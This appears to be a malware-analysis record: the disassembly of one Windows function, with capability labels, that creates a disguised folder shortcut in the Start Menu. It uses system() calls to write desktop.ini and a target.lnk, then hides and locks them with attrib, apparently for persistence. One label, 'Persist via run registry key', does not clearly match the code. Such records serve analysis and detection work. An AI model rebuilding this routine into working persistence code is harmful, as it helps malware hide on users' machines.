Function at 0x401f00
Capabilities:
Create directory
Execute command
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x748
mov dword [esp + 4], str.CoInitialize
mov eax, dword [0x41600c]
mov dword [esp], eax
call sym._LoadDll
mov dword [0x41600c], eax
mov dword [esp], 0
mov eax, dword [0x41600c]
call eax
sub esp, 4
mov dword [ebp - 0x30c], eax
cmp dword [ebp + 8], 2
jle 0x402355
mov dword [esp + 8], 0x4130de
mov dword [esp + 4], 0x4130dc
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._StrReplace
lea eax, [ebp - 0x310]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x401fb4
mov dword [esp], str.Error:__Regedit_cannot__be_opened_
call sym._printf
mov dword [ebp - 0x720], 0xffffffff
jmp 0x40235f
call sym._GetCurrentVersion
fld qword [0x413238]
fxch st(1)
fucompp
fnstsw ax
sahf
jae 0x401fca
jmp 0x401fd6
mov dword [ebp - 0x724], str.Common_Programs
jmp 0x401fe0
mov dword [ebp - 0x724], str.Common_Start_Menu
lea eax, [ebp - 0x71c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x718]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x724]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x310]
mov dword [esp], eax
call sym._RegQueryValueExA_24
sub esp, 0x18
test eax, eax
jne 0x402036
mov eax, dword [ebp - 0x310]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x402051
mov dword [esp], str.failed_
call sym._printf
mov dword [ebp - 0x720], 0xffffffff
jmp 0x40235f
lea eax, [ebp - 0x718]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x41314b
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sym._access
test eax, eax
je 0x40209a
mov dword [ebp - 0x720], 0xffffffff
jmp 0x40235f
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6e
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._path_split
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x41314e
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._mkdir
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6e
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._path_split
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], str.echo__.ShellClassInfo_____s_sdesktop.ini_
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._system
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6e
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._path_split
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], str.echo_CLSID20AFACED1_E828_11D1_9187_B532F1E9575D_____s_sdesktop.ini_
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._system
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6e
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._path_split
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], str.echo_Flags2_____s_sdesktop.ini_
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._system
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6e
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._path_split
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_target.lnk
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._sprintf
cmp dword [ebp - 0x30c], 0
js 0x4022a1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x4130b8
mov dword [esp + 0x14], 0x4130b8
mov dword [esp + 0x10], 5
mov dword [esp + 0xc], 0x4130b8
lea eax, [ebp - 0x308]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4130b8
mov eax, dword [ebp + 0xc]
add eax, 8
mov eax, dword [eax]
mov dword [esp], eax
call sym._CreateShortCut
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6e
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._path_split
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], str.attrib_s_h___s_sdesktop.ini_
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._system
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6e
mov dword [esp + 4], 0x2f
mov eax, dword [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._path_split
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], str.attrib_r___s_s_
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x308]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
leave
ret